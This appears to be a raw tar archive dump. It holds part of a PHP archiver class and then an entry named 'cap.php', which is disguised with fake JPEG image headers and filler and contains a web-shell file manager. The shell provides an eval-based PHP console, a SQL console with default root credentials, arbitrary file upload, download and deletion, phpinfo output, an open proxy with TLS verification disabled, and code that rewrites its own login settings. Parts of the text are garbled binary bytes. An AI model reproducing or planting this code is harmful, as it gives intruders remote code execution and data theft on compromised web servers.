		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

